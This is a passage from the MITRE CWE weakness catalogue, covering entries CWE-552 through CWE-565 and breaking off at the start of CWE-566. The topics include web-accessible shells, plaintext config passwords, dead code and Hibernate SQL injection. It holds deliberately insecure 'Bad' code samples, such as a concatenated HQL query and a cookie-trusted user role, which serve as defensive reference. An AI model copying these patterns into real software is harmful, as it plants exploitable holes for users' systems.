  },
  {
    "members":[
      "allUsers",
      "projectViewer: PROJECT-ID"
      ],
      "role":"roles/storage.legacyBucketReader"
    }
  ]
}
```

This result includes the "allUsers" or IAM role added as members, causing this policy configuration to allow public access to cloud storage resources. There would be a similar concern if "allAuthenticatedUsers" was present.

The command could be modified to remove "allUsers" and/or "allAuthenticatedUsers" as follows:

Example Language: Shell *(Good)*

```
gsutil iam ch -d allUsers gs://BUCKET_NAME
gsutil iam ch -d allAuthenticatedUsers gs://BUCKET_NAME
```

Observed Examples

Reference	Description
CVE-2005-1835	Data file under web root. *https://www.cve.org/CVERecord?id=CVE-2005-1835*

Affected Resources

- File or Directory

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	2339
MemberOf	C	743	CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)	734	2347
MemberOf	C	815	OWASP Top Ten 2010 Category A6 - Security Misconfiguration	809	2358
MemberOf	C	877	CERT C++ Secure Coding Section 09 - Input Output (FIO)	868	2377
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	2400
MemberOf	C	1345	OWASP Top Ten 2021 Category A01:2021 - Broken Access Control	1344	2487
MemberOf	C	1403	Comprehensive Categorization: Exposed Resource	1400	2528

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OWASP Top Ten 2004	A10	CWE More Specific	Insecure Configuration Management
CERT C Secure Coding	FIO15-C		Ensure that file operations are performed in a secure directory

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
150	Collect Data from Common Resource Locations
639	Probe System Files

References

[REF-1307]Center for Internet Security. "CIS Microsoft Azure Foundations Benchmark version 1.5.0". 2022 August 6. < https://www.cisecurity.org/benchmark/azure >.2023-01-19.

[REF-1327]Center for Internet Security. "CIS Google Cloud Computing Platform Benchmark version 1.3.0". 2022 March 1. < https://www.cisecurity.org/benchmark/google_cloud_computing_platform >.2023-04-24.

CWE-553: Command Shell in Externally Accessible Directory

Weakness ID : 553
Structure : Simple
Abstraction : Variant

Description

A possible shell file exists in /cgi-bin/ or other accessible directories. This is extremely dangerous and can be used by an attacker to execute commands on the web server.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	552	Files or Directories Accessible to External Parties	1265

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability	Execute Unauthorized Code or Commands	

Potential Mitigations

Phase: Installation

Phase: System Configuration

Remove any Shells accessible under the web root folder and children directories.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	2413
MemberOf	C	1403	Comprehensive Categorization: Exposed Resource	1400	2528

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
650	Upload a Web Shell to a Web Server

CWE-554: ASP.NET Misconfiguration: Not Using Input Validation Framework

Weakness ID : 554
Structure : Simple
Abstraction : Variant

Description

The ASP.NET application does not use an input validation framework.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	1173	Improper Use of Validation Framework	1969

Weakness Ordinalities

Indirect :

Applicable Platforms

Language : ASP.NET *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State *Unchecked input leads to cross-site scripting, process control, and SQL injection vulnerabilities, among others.*	

Potential Mitigations

Phase: Architecture and Design

Use the ASP.NET validation framework to check all program input before it is processed by the application. Example uses of the validation framework include checking to ensure that: Phone number fields contain only valid characters in phone numbers Boolean values are only "T" or "F" Free-form strings are of a reasonable length and composition

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	2339
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	2413
MemberOf	C	1406	Comprehensive Categorization: Improper Input Validation	1400	2531

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP24		Tainted input to command

CWE-555: J2EE Misconfiguration: Plaintext Password in Configuration File

Weakness ID : 555
Structure : Simple
Abstraction : Variant

Description

The J2EE application stores a plaintext password in a configuration file.

Extended Description

Storing a plaintext password in a configuration file allows anyone who can read the file to access the password-protected resource, making it an easy target for attackers.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	260	Password in Configuration File	629

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	

Potential Mitigations

Phase: Architecture and Design

Do not hardwire passwords into your software.

Phase: Architecture and Design

Use industry standard libraries to encrypt passwords before storage in configuration files.

Demonstrative Examples

Example 1:

Below is a snippet from a Java properties file in which the LDAP server password is stored in plaintext.

Example Language: Java *(Bad)*

```
webapp.ldap.username=secretUsername
webapp.ldap.password=secretPassword
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	2339
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	2400
MemberOf	C	1396	Comprehensive Categorization: Access Control	1400	2519

CWE-556: ASP.NET Misconfiguration: Use of Identity Impersonation

Weakness ID : 556
Structure : Simple
Abstraction : Variant

Description

Configuring an ASP.NET application to run with impersonated credentials may give the application unnecessary privileges.

Extended Description

The use of impersonated credentials allows an ASP.NET application to run with either the privileges of the client on whose behalf it is executing or with arbitrary privileges granted in its configuration.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	266	Incorrect Privilege Assignment	638

Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity	

Potential Mitigations

Phase: Architecture and Design

Use the least privilege principle.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	723	OWASP Top Ten 2004 Category A2 - Broken Access Control	711	2335
MemberOf	C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	2339
MemberOf	C	951	SFP Secondary Cluster: Insecure Authentication Policy	888	2396
MemberOf	C	1396	Comprehensive Categorization: Access Control	1400	2519

CWE-558: Use of getlogin() in Multithreaded Application

Weakness ID : 558
Structure : Simple
Abstraction : Variant

Description

The product uses the getlogin() function in a multithreaded context, potentially causing it to return incorrect values.

Extended Description

The getlogin() function returns a pointer to a string that contains the name of the user associated with the calling process. The function is not reentrant, meaning that if it is called from another process, the contents are not locked out and the value of the string can be changed by another process. This makes it very risky to use because the username can be changed by other processes, so the results of the function cannot be trusted.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	663	Use of a Non-reentrant Function in a Concurrent Context	1452

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity Access Control Other	Modify Application Data Bypass Protection Mechanism Other	

Potential Mitigations

Phase: Architecture and Design

Using names for security purposes is not advised. Names are easy to forge and can have overlapping user IDs, potentially causing confusion or impersonation.

Phase: Implementation

Use getlogin_r() instead, which is reentrant, meaning that other processes are locked out from changing the username.

Demonstrative Examples

Example 1:

The following code relies on getlogin() to determine whether or not a user is trusted. It is easily subverted.

Example Language: C *(Bad)*

```
pwd = getpwnam(getlogin());
if (isTrustedGroup(pwd->pw_gid)) {
  allow();
} else {
  deny();
}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	227	7PK - API Abuse	700	2313
MemberOf	C	1001	SFP Secondary Cluster: Use of an Improper API	888	2420
MemberOf	C	1401	Comprehensive Categorization: Concurrency	1400	2526

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Often Misused: Authentication
Software Fault Patterns	SFP3		Use of an improper API

CWE-560: Use of umask() with chmod-style Argument

Weakness ID : 560
Structure : Simple
Abstraction : Variant

Description

The product calls umask() with an incorrect argument that is specified as if it is an argument to chmod().

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	V	687	Function Call With Incorrectly Specified Argument Value	1510

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Access Control	Read Files or Directories Modify Files or Directories Bypass Protection Mechanism	

Potential Mitigations

Phase: Implementation

Use umask() with the correct argument.

Phase: Testing

If you suspect misuse of umask(), you can use grep to spot call instances of umask().

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	946	SFP Secondary Cluster: Insecure Resource Permissions	888	2394
MemberOf	C	1412	Comprehensive Categorization: Poor Coding Practices	1400	2538

Notes

Other

Some umask() manual pages begin with the false statement: "umask sets the umask to mask & 0777" Although this behavior would better align with the usage of chmod(), where the user provided argument specifies the bits to enable on the specified file, the behavior of umask() is in fact opposite: umask() sets the umask to ~mask & 0777. The documentation goes on to describe the correct usage of umask(): "The umask is used by open() to set initial file permissions on a newly-created file. Specifically, permissions in the umask are turned off from the mode argument to open(2) (so, for example, the common umask default value of 022 results in new files being created with permissions 0666 & ~022 = 0644 = rw-r--r-- in the usual case where the mode is specified as 0666)."

CWE-561: Dead Code

Weakness ID : 561
Structure : Simple
Abstraction : Base

Description

The product contains dead code, which can never be executed.

Extended Description

Dead code is code that can never be executed in a running program. The surrounding code makes it impossible for a section of code to ever be executed.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	1164	Irrelevant Code	1967
CanFollow	B	570	Expression is Always False	1292
CanFollow	B	571	Expression is Always True	1295

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	2422

Weakness Ordinalities

Indirect :

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation *Dead code that results from code that can never be executed is an indication of problems with the source code that needs to be fixed and is an indication of poor quality.*	
Other	Reduce Maintainability	

Detection Methods

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.) Formal Methods / Correct-By-Construction Cost effective for partial coverage: Attack Modeling

Effectiveness = High

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Highly cost effective: Binary / Bytecode Quality Analysis Compare binary / bytecode to application permission manifest

Effectiveness = High

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Automated Monitored Execution

Effectiveness = SOAR Partial

Automated Static Analysis

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Permission Manifest Analysis

Effectiveness = SOAR Partial

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Source Code Quality Analyzer Cost effective for partial coverage: Warning Flags Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

Effectiveness = High

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Web Application Scanner Web Services Scanner Database Scanners

Effectiveness = SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Manual Source Code Review (not inspections) Cost effective for partial coverage: Focused Manual Spotcheck - Focused manual analysis of source

Effectiveness = High

Potential Mitigations

Phase: Implementation

Remove dead code before deploying the application.

Phase: Testing

Use a static analysis tool to spot dead code.

Demonstrative Examples

Example 1:

The condition for the second if statement is impossible to satisfy. It requires that the variables be non-null. However, on the only path where s can be assigned a non-null value, there is a return statement.

Example Language: C++ *(Bad)*

```
String s = null;
if (b) {
    s = "Yes";
    return;
}
if (s != null) {
    Dead();
}
```

Example 2:

In the following class, two private methods call each other, but since neither one is ever invoked from anywhere else, they are both dead code.

Example Language: Java *(Bad)*

```
public class DoubleDead {
    private void doTweedledee() {
        doTweedledumb();
    }
    private void doTweedledumb() {
        doTweedledee();
    }
    public static void main(String[] args) {
        System.out.println("running DoubleDead");
    }
}
```

(In this case it is a good thing that the methods are dead: invoking either one would cause an infinite loop.)

Example 3:

The field named glue is not used in the following class. The author of the class has accidentally put quotes around the field name, transforming it into a string constant.

Example Language: Java *(Bad)*

```
public class Dead {
    String glue;
    public String getGlue() {
        return "glue";
    }
}
```

Observed Examples

Reference	Description
CVE-2014-1266	chain: incorrect "goto" in Apple SSL product bypasses certificate validation, allowing Adversary-in-the-Middle (AITM) attack (Apple "goto fail" bug). CWE-705 (Incorrect Control Flow Scoping) -> CWE-561 (Dead Code) -> CWE-295 (Improper Certificate Validation) -> CWE-393 (Return of Wrong Status Code) -> CWE-300 (Channel Accessible by Non-Endpoint). *https://www.cve.org/CVERecord?id=CVE-2014-1266*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	747	CERT C Secure Coding Standard (2008) Chapter 14 - Miscellaneous (MSC)	734	2350
MemberOf	C	883	CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)	868	2381

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2567
MemberOf	C	886	SFP Primary Cluster: Unused entities	888	2382
MemberOf	C	1130	CISQ Quality Measures (2016) - Maintainability	1128	2441
MemberOf	C	1186	SEI CERT Perl Coding Standard - Guidelines 50. Miscellaneous (MSC)	1178	2468
MemberOf	C	1307	CISQ Quality Measures - Maintainability	1305	2484
MemberOf	C	1412	Comprehensive Categorization: Poor Coding Practices	1400	2538

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	MSC07-C		Detect and remove dead code
SEI CERT Perl Coding Standard	MSC00-PL	Exact	Detect and remove dead code
Software Fault Patterns	SFP2		Unused Entities
OMG ASCMM	ASCMM-MNT-20		

References

[REF-960]Object Management Group (OMG). "Automated Source Code Maintainability Measure (ASCMM)". 2016 January. < https://www.omg.org/spec/ASCMM/ >.2023-04-07.

CWE-562: Return of Stack Variable Address

Weakness ID : 562
Structure : Simple
Abstraction : Base

Description

A function returns the address of a stack variable, which will cause unintended program behavior, typically in the form of a crash.

Extended Description

Because local variables are allocated on the stack, when a program returns a pointer to a local variable, it is returning a stack address. A subsequent function call is likely to re-use this same stack address, thereby overwriting the value of the pointer, which no longer corresponds to the same variable since a function's stack frame is invalidated when it returns. At best this will cause the value of the pointer to change unexpectedly. In many cases it causes the program to crash the next time the pointer is dereferenced.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	758	Reliance on Undefined, Unspecified, or Implementation-Defined Behavior	1582
CanPrecede	C	672	Operation on a Resource after Expiration or Release	1479
CanPrecede	B	825	Expired Pointer Dereference	1732

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	2422

Weakness Ordinalities

Indirect :

Primary :

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Availability Integrity Confidentiality	Read Memory Modify Memory Execute Unauthorized Code or Commands DoS: Crash, Exit, or Restart *If the returned stack buffer address is dereferenced after the return, then an attacker may be able to modify or read memory, depending on how the address is used. If the address is used for reading, then the address itself may be exposed, or the contents that the address points to. If the address is used for writing, this can lead to a crash and possibly code execution.*	

Detection Methods

Fuzzing

Fuzz testing (fuzzing) is a powerful technique for generating large numbers of diverse inputs - either randomly or algorithmically - and dynamically invoking the code with those inputs. Even with random inputs, it is often capable of generating unexpected results such as crashes, memory corruption, or resource consumption. Fuzzing effectively produces repeatable test cases that clearly indicate bugs, which helps developers to diagnose the issues.

Effectiveness = High

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Testing

Use static analysis tools to spot return of the address of a stack variable.

Demonstrative Examples

Example 1:

The following function returns a stack address.

Example Language: C *(Bad)*

```
char* getName() {
  char name[STR_MAX];
  fillInName(name);
  return name;
}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	748	CERT C Secure Coding Standard (2008) Appendix - POSIX (POS)	734	2351
MemberOf	C	998	SFP Secondary Cluster: Glitch in Computation	888	2419
MemberOf	C	1156	SEI CERT C Coding Standard - Guidelines 02. Declarations and Initialization (DCL)	1154	2455
MemberOf	C	1306	CISQ Quality Measures - Reliability	1305	2483
MemberOf	V	1340	CISQ Data Protection Measures	1340	2590
MemberOf	C	1399	Comprehensive Categorization: Memory Safety	1400	2525

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	DCL30-C	CWE More Specific	Declare objects with appropriate storage durations
CERT C Secure Coding	POS34-C		Do not call putenv() with a pointer to an automatic variable as the argument
Software Fault Patterns	SFP1		Glitch in computation

CWE-563: Assignment to Variable without Use

Weakness ID : 563
Structure : Simple
Abstraction : Base

Description

The variable's value is assigned but never used, making it a dead store.

Extended Description

After the assignment, the variable is either assigned another value or goes out of scope. It is likely that the variable is simply vestigial, but it is also possible that the unused variable points out a bug.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	1164	Irrelevant Code	1967

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	2422

Weakness Ordinalities

Indirect :

Alternate Terms

Unused Variable :

Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation Varies by Context *This weakness could be an indication of a bug in the program or a deprecated variable that was not removed and is an indication of poor quality. This could lead to further bugs and the introduction of weaknesses.*	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Remove unused variables from the code.

Demonstrative Examples

Example 1:

The following code excerpt assigns to the variable r and then overwrites the value without using it.

Example Language: C *(Bad)*

```
r = getName();
r = getNewBuffer(buf);
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	747	CERT C Secure Coding Standard (2008) Chapter 14 - Miscellaneous (MSC)	734	2350
MemberOf	C	883	CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)	868	2381
MemberOf	V	884	CWE Cross-section	884	2567
MemberOf	C	886	SFP Primary Cluster: Unused entities	888	2382

Nature	Type	ID	Name	V	Page
MemberOf	C	1186	SEI CERT Perl Coding Standard - Guidelines 50. Miscellaneous (MSC)	1178	2468
MemberOf	C	1412	Comprehensive Categorization: Poor Coding Practices	1400	2538

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	MSC00-C		Compile cleanly at high warning levels
SEI CERT Perl Coding Standard	MSC01-PL	Imprecise	Detect and remove unused variables
Software Fault Patterns	SFP2		Unused Entities

CWE-564: SQL Injection: Hibernate

Weakness ID : 564
Structure : Simple
Abstraction : Variant

Description

Using Hibernate to execute a dynamic SQL statement built with user-controlled input can allow an attacker to modify the statement's meaning or to execute arbitrary SQL commands.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	89	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	201

Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name	Page
ChildOf	B	89	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	201

Relevant to the view "Weaknesses in OWASP Top Ten (2013)" (CWE-928)

Nature	Type	ID	Name	Page
ChildOf	B	89	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	201

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity	Read Application Data Modify Application Data	

Potential Mitigations

Phase: Requirements

A non-SQL style database which is not subject to this flaw may be chosen.

Phase: Architecture and Design

Follow the principle of least privilege when creating user accounts to a SQL database. Users should only have the minimum privileges necessary to use their account. If the requirements of the system indicate that a user can read and modify their own data, then limit their privileges so they cannot read/write others' data.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Phase: Implementation

Implement SQL strings using prepared statements that bind variables. Prepared statements that do not bind variables can be vulnerable to attack.

Phase: Implementation

Use vigorous allowlist style checking on any user input that may be used in a SQL command. Rather than escape meta-characters, it is safest to disallow them entirely. Reason: Later use of data that have been entered in the database may neglect to escape meta-characters before use. Narrowly define the set of safe characters based on the expected value of the parameter in the request.

Demonstrative Examples

Example 1:

The following code excerpt uses Hibernate's HQL syntax to build a dynamic query that's vulnerable to SQL injection.

Example Language: Java *(Bad)*

```
String street = getStreetFromUser();
Query query = session.createQuery("from Address a where a.street='" + street + "'");
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	2413
MemberOf	C	1027	OWASP Top Ten 2017 Category A1 - Injection	1026	2435
MemberOf	C	1347	OWASP Top Ten 2021 Category A03:2021 - Injection	1344	2490
MemberOf	C	1409	Comprehensive Categorization: Injection	1400	2535

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP24		Tainted input to command

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
109	Object Relational Mapping Injection

CWE-565: Reliance on Cookies without Validation and Integrity Checking

Weakness ID : 565

Structure : Simple
Abstraction : Base

Description

The product relies on the existence or values of cookies when performing security-critical operations, but it does not properly ensure that the setting is valid for the associated user.

Extended Description

Attackers can easily modify cookies, within the browser or by implementing the client-side code outside of the browser. Reliance on cookies without detailed validation and integrity checking can allow attackers to bypass authentication, conduct injection attacks such as SQL injection and cross-site scripting, or otherwise modify inputs in unexpected ways.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	602	Client-Side Enforcement of Server-Side Security	1350
ChildOf	C	642	External Control of Critical State Data	1414
ParentOf	V	784	Reliance on Cookies without Validation and Integrity Checking in a Security Decision	1653

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	C	669	Incorrect Resource Transfer Between Spheres	1471

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1020	Verify Message Integrity	2434

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1214	Data Integrity Issues	2477

Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity *It is dangerous to use cookies to set a user's privileges. The cookie can be manipulated to escalate an attacker's privileges to an administrative level.*	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Avoid using cookie data for a security-related decision.

Phase: Implementation

Perform thorough input validation (i.e.: server side validation) on the cookie data if you're going to use it for a security related decision.

Phase: Architecture and Design

Add integrity checks to detect tampering.

Phase: Architecture and Design

Protect critical cookies from replay attacks, since cross-site scripting or other attacks may allow attackers to steal a strongly-encrypted cookie that also passes integrity checks. This mitigation applies to cookies that should only be valid during a single transaction or session. By enforcing timeouts, you may limit the scope of an attack. As part of your integrity check, use an unpredictable, server-side value that is not exposed to the client.

Demonstrative Examples

Example 1:

The following code excerpt reads a value from a browser cookie to determine the role of the user.

Example Language: Java *(Bad)*

```
Cookie[] cookies = request.getCookies();
for (int i =0; i< cookies.length; i++) {
  Cookie c = cookies[i];
  if (c.getName().equals("role")) {
    userRole = c.getValue();
  }
}
```

It is easy for an attacker to modify the "role" value found in the locally stored cookie, allowing privilege escalation.

Observed Examples

Reference	Description
CVE-2008-5784	e-dating application allows admin privileges by setting the admin cookie to 1. *https://www.cve.org/CVERecord?id=CVE-2008-5784*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	949	SFP Secondary Cluster: Faulty Endpoint Authentication	888	2395
MemberOf	C	1354	OWASP Top Ten 2021 Category A08:2021 - Software and Data Integrity Failures	1344	2495
MemberOf	C	1403	Comprehensive Categorization: Exposed Resource	1400	2528

Notes

Relationship

This problem can be primary to many types of weaknesses in web applications. A developer may perform proper validation against URL parameters while assuming that attackers cannot modify cookies. As a result, the program might skip basic input validation to enable cross-site scripting, SQL injection, price tampering, and other attacks..

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP29		Faulty endpoint authentication

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
31	Accessing/Intercepting/Modifying HTTP Cookies
39	Manipulating Opaque Client-based Data Tokens
226	Session Credential Falsification through Manipulation

CWE-566: Authorization Bypass Through User-Controlled SQL Primary Key

Weakness ID : 566
Structure : Simple
Abstraction : Variant

Description

